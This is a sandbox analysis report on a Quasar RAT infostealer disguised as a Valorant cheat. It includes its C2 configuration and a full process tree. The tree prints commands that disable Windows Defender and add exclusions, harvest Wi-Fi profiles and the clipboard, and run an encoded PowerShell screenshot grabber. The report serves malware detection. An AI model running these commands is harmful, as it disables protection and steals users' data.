quasar | 193d9acadf1f7cb18bd295f774c644f34da72dbc10c2eccd39c858f55f320a2f

Analysis

max time kernel
16s
max time network
20s
platform
windows11-21h2_x64
resource
win11-20240412-en
resource tags

arch:x64arch:x86image:win11-20240412-enlocale:en-usos:windows11-21h2-x64system
submitted
20/04/2024, 15:03

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ValoaimV8.exe
Size 20.0MB
Sample240420-se6s6abb57
SHA256 443be4b5119ad344755137062321a4f5c249e8fb95482183c21378ba93fd96bf
MD5 4ed9006d9970ee5f1ee6486cfc663ee6
SHA1 258fbba6e43c23ad9680576cc51a7c0906387354
SHA512 952750f7e1a1182ed69ef837b0ea053a66ef1f65d8a534a2a445a660677fc19f2eca6aa66e25e6bafedd94bbf9ccd99e3feea63b0bbd8a36d8683f67c2c63daa
SSDEEP 98304:zrcxzdbM+Q2y+aq0mGRk2jOjFgFQlwq4Mjk+dBZtu9xTtwz/aer6/BbQEJ1nL2hS:zrcbf0mPEOjmFQR4MVGFtwLPCnL2hVcr
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

quasar valorant spyware stealer trojan upx

Malware Config

Extracted

Family

quasar

Version

1.3.0.0

Botnet

Valorant

hanekese.ddns.net:1005

Mutex

QSR_MUTEX_vjIusnIFPVRxcR2xS4

Attributes

encryption_key
5V49FWeqLdk5NQWJl6h7
install_name
Client.exe
log_directory
Logs
reconnect_delay
3000
startup_key
mac updater
subdirectory
SubDir

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 2 IoCs

resource	yara_rule
behavioral1/files/0x000100000002a9da-102.dat	family_quasar
behavioral1/memory/4384-118-0x0000000000B30000-0x0000000000B8E000-memory.dmp	family_quasar

Executes dropped EXE 2 IoCs

pid	Process
4384	bound.exe
1960	rar.exe

Loads dropped DLL 16 IoCs

pid	Process
796	ValoaimV8.exe
796	ValoaimV8.exe
796	ValoaimV8.exe
796	ValoaimV8.exe
796	ValoaimV8.exe
796	ValoaimV8.exe
796	ValoaimV8.exe
796	ValoaimV8.exe
796	ValoaimV8.exe
796	ValoaimV8.exe
796	ValoaimV8.exe
796	ValoaimV8.exe
796	ValoaimV8.exe
796	ValoaimV8.exe
796	ValoaimV8.exe
796	ValoaimV8.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

UPX packed file 46 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x000100000002a9c8-22.dat	upx
behavioral1/memory/796-26-0x00007FFD78510000-0x00007FFD78AF9000-memory.dmp	upx
behavioral1/files/0x000100000002a9ba-28.dat	upx
behavioral1/files/0x000100000002a9c6-31.dat	upx
behavioral1/files/0x000100000002a9c1-48.dat	upx
behavioral1/memory/796-50-0x00007FFD8CF30000-0x00007FFD8CF3F000-memory.dmp	upx
behavioral1/memory/796-49-0x00007FFD8CF40000-0x00007FFD8CF63000-memory.dmp	upx
behavioral1/files/0x000100000002a9c0-47.dat	upx
behavioral1/files/0x000100000002a9bf-46.dat	upx
behavioral1/files/0x000100000002a9be-45.dat	upx
behavioral1/files/0x000100000002a9bd-44.dat	upx
behavioral1/files/0x000100000002a9bc-43.dat	upx
behavioral1/files/0x000100000002a9bb-42.dat	upx
behavioral1/files/0x000100000002a9b9-41.dat	upx
behavioral1/files/0x000100000002a9cf-40.dat	upx
behavioral1/files/0x000100000002a9ce-39.dat	upx
behavioral1/files/0x000100000002a9cd-38.dat	upx
behavioral1/files/0x000100000002a9c7-35.dat	upx
behavioral1/files/0x000100000002a9c5-34.dat	upx
behavioral1/memory/796-56-0x00007FFD8CF00000-0x00007FFD8CF2D000-memory.dmp	upx
behavioral1/memory/796-59-0x00007FFD8CDB0000-0x00007FFD8CDC9000-memory.dmp	upx
behavioral1/memory/796-60-0x00007FFD8A560000-0x00007FFD8A583000-memory.dmp	upx
behavioral1/memory/796-62-0x00007FFD897C0000-0x00007FFD89930000-memory.dmp	upx
behavioral1/memory/796-65-0x00007FFD8CD90000-0x00007FFD8CDA9000-memory.dmp	upx
behavioral1/memory/796-66-0x00007FFD8CE50000-0x00007FFD8CE5D000-memory.dmp	upx
behavioral1/memory/796-68-0x00007FFD8A530000-0x00007FFD8A55E000-memory.dmp	upx
behavioral1/memory/796-71-0x00007FFD78190000-0x00007FFD78509000-memory.dmp	upx
behavioral1/memory/796-73-0x00007FFD89F40000-0x00007FFD89FF8000-memory.dmp	upx
behavioral1/memory/796-77-0x00007FFD78510000-0x00007FFD78AF9000-memory.dmp	upx
behavioral1/memory/796-79-0x00007FFD8A440000-0x00007FFD8A454000-memory.dmp	upx
behavioral1/memory/796-78-0x00007FFD8A520000-0x00007FFD8A52D000-memory.dmp	upx
behavioral1/memory/796-80-0x00007FFD78070000-0x00007FFD7818C000-memory.dmp	upx
behavioral1/memory/796-81-0x00007FFD8CF40000-0x00007FFD8CF63000-memory.dmp	upx
behavioral1/memory/1548-117-0x000002E5892B0000-0x000002E5892C0000-memory.dmp	upx
behavioral1/memory/796-120-0x00007FFD8A560000-0x00007FFD8A583000-memory.dmp	upx
behavioral1/memory/796-124-0x00007FFD897C0000-0x00007FFD89930000-memory.dmp	upx
behavioral1/memory/796-129-0x00007FFD8CD90000-0x00007FFD8CDA9000-memory.dmp	upx
behavioral1/memory/1548-131-0x000002E5892B0000-0x000002E5892C0000-memory.dmp	upx
behavioral1/memory/796-132-0x00007FFD8A530000-0x00007FFD8A55E000-memory.dmp	upx
behavioral1/memory/796-136-0x00007FFD78190000-0x00007FFD78509000-memory.dmp	upx
behavioral1/memory/796-156-0x00007FFD89F40000-0x00007FFD89FF8000-memory.dmp	upx
behavioral1/memory/796-331-0x00007FFD78510000-0x00007FFD78AF9000-memory.dmp	upx
behavioral1/memory/796-332-0x00007FFD8CF40000-0x00007FFD8CF63000-memory.dmp	upx
behavioral1/memory/796-337-0x00007FFD897C0000-0x00007FFD89930000-memory.dmp	upx
behavioral1/memory/796-348-0x00007FFD8A530000-0x00007FFD8A55E000-memory.dmp	upx
behavioral1/memory/796-349-0x00007FFD78190000-0x00007FFD78509000-memory.dmp	upx

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
1	discord.com
7	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Detects videocard installed 1 TTPs 3 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2280	WMIC.exe
1708	WMIC.exe
3308	WMIC.exe

Enumerates processes with tasklist 1 TTPs 4 IoCs

Process Discovery

T1057

pid	Process
4968	tasklist.exe
3388	tasklist.exe
1288	tasklist.exe
940	tasklist.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
4468	systeminfo.exe

Suspicious behavior: EnumeratesProcesses 24 IoCs

pid	Process
2200	powershell.exe
1548	powershell.exe
3164	powershell.exe
3164	powershell.exe
2200	powershell.exe
3164	powershell.exe
1548	powershell.exe
4780	powershell.exe
4780	powershell.exe
4780	powershell.exe
1512	powershell.exe
1512	powershell.exe
3192	powershell.exe
3192	powershell.exe
1512	powershell.exe
3192	powershell.exe
2432	powershell.exe
2432	powershell.exe
1484	powershell.exe
1484	powershell.exe
4268	powershell.exe
4268	powershell.exe
4820	powershell.exe
4820	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4968	tasklist.exe
Token: SeDebugPrivilege	2200	powershell.exe
Token: SeDebugPrivilege	1548	powershell.exe
Token: SeIncreaseQuotaPrivilege	2120	WMIC.exe
Token: SeSecurityPrivilege	2120	WMIC.exe
Token: SeTakeOwnershipPrivilege	2120	WMIC.exe
Token: SeLoadDriverPrivilege	2120	WMIC.exe
Token: SeSystemProfilePrivilege	2120	WMIC.exe
Token: SeSystemtimePrivilege	2120	WMIC.exe
Token: SeProfSingleProcessPrivilege	2120	WMIC.exe
Token: SeIncBasePriorityPrivilege	2120	WMIC.exe
Token: SeCreatePagefilePrivilege	2120	WMIC.exe
Token: SeBackupPrivilege	2120	WMIC.exe
Token: SeRestorePrivilege	2120	WMIC.exe
Token: SeShutdownPrivilege	2120	WMIC.exe
Token: SeDebugPrivilege	2120	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2120	WMIC.exe
Token: SeRemoteShutdownPrivilege	2120	WMIC.exe
Token: SeUndockPrivilege	2120	WMIC.exe
Token: SeManageVolumePrivilege	2120	WMIC.exe
Token: 33	2120	WMIC.exe
Token: 34	2120	WMIC.exe
Token: 35	2120	WMIC.exe
Token: 36	2120	WMIC.exe
Token: SeDebugPrivilege	3164	powershell.exe
Token: SeIncreaseQuotaPrivilege	2120	WMIC.exe
Token: SeSecurityPrivilege	2120	WMIC.exe
Token: SeTakeOwnershipPrivilege	2120	WMIC.exe
Token: SeLoadDriverPrivilege	2120	WMIC.exe
Token: SeSystemProfilePrivilege	2120	WMIC.exe
Token: SeSystemtimePrivilege	2120	WMIC.exe
Token: SeProfSingleProcessPrivilege	2120	WMIC.exe
Token: SeIncBasePriorityPrivilege	2120	WMIC.exe
Token: SeCreatePagefilePrivilege	2120	WMIC.exe
Token: SeBackupPrivilege	2120	WMIC.exe
Token: SeRestorePrivilege	2120	WMIC.exe
Token: SeShutdownPrivilege	2120	WMIC.exe
Token: SeDebugPrivilege	2120	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2120	WMIC.exe
Token: SeRemoteShutdownPrivilege	2120	WMIC.exe
Token: SeUndockPrivilege	2120	WMIC.exe
Token: SeManageVolumePrivilege	2120	WMIC.exe
Token: 33	2120	WMIC.exe
Token: 34	2120	WMIC.exe
Token: 35	2120	WMIC.exe
Token: 36	2120	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2280	WMIC.exe
Token: SeSecurityPrivilege	2280	WMIC.exe
Token: SeTakeOwnershipPrivilege	2280	WMIC.exe
Token: SeLoadDriverPrivilege	2280	WMIC.exe
Token: SeSystemProfilePrivilege	2280	WMIC.exe
Token: SeSystemtimePrivilege	2280	WMIC.exe
Token: SeProfSingleProcessPrivilege	2280	WMIC.exe
Token: SeIncBasePriorityPrivilege	2280	WMIC.exe
Token: SeCreatePagefilePrivilege	2280	WMIC.exe
Token: SeBackupPrivilege	2280	WMIC.exe
Token: SeRestorePrivilege	2280	WMIC.exe
Token: SeShutdownPrivilege	2280	WMIC.exe
Token: SeDebugPrivilege	2280	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2280	WMIC.exe
Token: SeRemoteShutdownPrivilege	2280	WMIC.exe
Token: SeUndockPrivilege	2280	WMIC.exe
Token: SeManageVolumePrivilege	2280	WMIC.exe
Token: 33	2280	WMIC.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4384	bound.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4652 wrote to memory of 796	4652	ValoaimV8.exe	80
PID 4652 wrote to memory of 796	4652	ValoaimV8.exe	80
PID 796 wrote to memory of 2884	796	ValoaimV8.exe	81
PID 796 wrote to memory of 2884	796	ValoaimV8.exe	81
PID 796 wrote to memory of 4636	796	ValoaimV8.exe	82
PID 796 wrote to memory of 4636	796	ValoaimV8.exe	82
PID 796 wrote to memory of 3988	796	ValoaimV8.exe	83
PID 796 wrote to memory of 3988	796	ValoaimV8.exe	83
PID 796 wrote to memory of 4408	796	ValoaimV8.exe	84
PID 796 wrote to memory of 4408	796	ValoaimV8.exe	84
PID 796 wrote to memory of 1860	796	ValoaimV8.exe	88
PID 796 wrote to memory of 1860	796	ValoaimV8.exe	88
PID 796 wrote to memory of 2652	796	ValoaimV8.exe	91
PID 796 wrote to memory of 2652	796	ValoaimV8.exe	91
PID 1860 wrote to memory of 4968	1860	cmd.exe	93
PID 1860 wrote to memory of 4968	1860	cmd.exe	93
PID 4636 wrote to memory of 1548	4636	cmd.exe	94
PID 4636 wrote to memory of 1548	4636	cmd.exe	94
PID 3988 wrote to memory of 2200	3988	cmd.exe	95
PID 3988 wrote to memory of 2200	3988	cmd.exe	95
PID 2884 wrote to memory of 3164	2884	cmd.exe	96
PID 2884 wrote to memory of 3164	2884	cmd.exe	96
PID 2652 wrote to memory of 2120	2652	cmd.exe	97
PID 2652 wrote to memory of 2120	2652	cmd.exe	97
PID 4408 wrote to memory of 4384	4408	cmd.exe	99
PID 4408 wrote to memory of 4384	4408	cmd.exe	99
PID 4408 wrote to memory of 4384	4408	cmd.exe	99
PID 796 wrote to memory of 3776	796	ValoaimV8.exe	100
PID 796 wrote to memory of 3776	796	ValoaimV8.exe	100
PID 3776 wrote to memory of 888	3776	cmd.exe	102
PID 3776 wrote to memory of 888	3776	cmd.exe	102
PID 796 wrote to memory of 1392	796	ValoaimV8.exe	103
PID 796 wrote to memory of 1392	796	ValoaimV8.exe	103
PID 1392 wrote to memory of 1636	1392	cmd.exe	105
PID 1392 wrote to memory of 1636	1392	cmd.exe	105
PID 796 wrote to memory of 1660	796	ValoaimV8.exe	106
PID 796 wrote to memory of 1660	796	ValoaimV8.exe	106
PID 1660 wrote to memory of 2280	1660	cmd.exe	108
PID 1660 wrote to memory of 2280	1660	cmd.exe	108
PID 796 wrote to memory of 3712	796	ValoaimV8.exe	109
PID 796 wrote to memory of 3712	796	ValoaimV8.exe	109
PID 3712 wrote to memory of 1708	3712	cmd.exe	111
PID 3712 wrote to memory of 1708	3712	cmd.exe	111
PID 796 wrote to memory of 3744	796	ValoaimV8.exe	112
PID 796 wrote to memory of 3744	796	ValoaimV8.exe	112
PID 3744 wrote to memory of 4780	3744	cmd.exe	114
PID 3744 wrote to memory of 4780	3744	cmd.exe	114
PID 796 wrote to memory of 3580	796	ValoaimV8.exe	115
PID 796 wrote to memory of 3580	796	ValoaimV8.exe	115
PID 796 wrote to memory of 1400	796	ValoaimV8.exe	116
PID 796 wrote to memory of 1400	796	ValoaimV8.exe	116
PID 3580 wrote to memory of 3388	3580	cmd.exe	119
PID 3580 wrote to memory of 3388	3580	cmd.exe	119
PID 1400 wrote to memory of 1288	1400	cmd.exe	120
PID 1400 wrote to memory of 1288	1400	cmd.exe	120
PID 796 wrote to memory of 676	796	ValoaimV8.exe	121
PID 796 wrote to memory of 676	796	ValoaimV8.exe	121
PID 796 wrote to memory of 2044	796	ValoaimV8.exe	123
PID 796 wrote to memory of 2044	796	ValoaimV8.exe	123
PID 796 wrote to memory of 392	796	ValoaimV8.exe	125
PID 796 wrote to memory of 392	796	ValoaimV8.exe	125
PID 796 wrote to memory of 2968	796	ValoaimV8.exe	126
PID 796 wrote to memory of 2968	796	ValoaimV8.exe	126
PID 796 wrote to memory of 1656	796	ValoaimV8.exe	128

C:\Users\Admin\AppData\Local\Temp\ValoaimV8.exe
"C:\Users\Admin\AppData\Local\Temp\ValoaimV8.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4652
- C:\Users\Admin\AppData\Local\Temp\ValoaimV8.exe
  "C:\Users\Admin\AppData\Local\Temp\ValoaimV8.exe"
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:796
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\ValoaimV8.exe'"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2884
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\ValoaimV8.exe'
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3164
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4636
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1548
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\bound.exe'"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3988
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\bound.exe'
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2200
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "start bound.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4408
  - - C:\Users\Admin\AppData\Local\Temp\bound.exe
      bound.exe
      4⤵
      Executes dropped EXE
      Suspicious use of SetWindowsHookEx
      PID:4384
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1860
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:4968
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2652
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2120
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3776
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2
      4⤵
      PID:888
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1392
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2
      4⤵
      PID:1636
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1660
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      Suspicious use of AdjustPrivilegeToken
      PID:2280
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3712
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      PID:1708
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‌‌ .scr'"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3744
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‌‌ .scr'
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4780
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3580
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      PID:3388
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1400
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      PID:1288
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
    3⤵
    PID:676
  - - C:\Windows\System32\Wbem\WMIC.exe
      WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
      4⤵
      PID:2376
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
    3⤵
    PID:2044
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:1512
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    PID:392
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      PID:940
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:2968
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:3224
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
    3⤵
    PID:1656
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile
      4⤵
      PID:3584
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "systeminfo"
    3⤵
    PID:3908
  - - C:\Windows\system32\systeminfo.exe
      systeminfo
      4⤵
      Gathers system information
      PID:4468
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
    3⤵
    PID:440
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
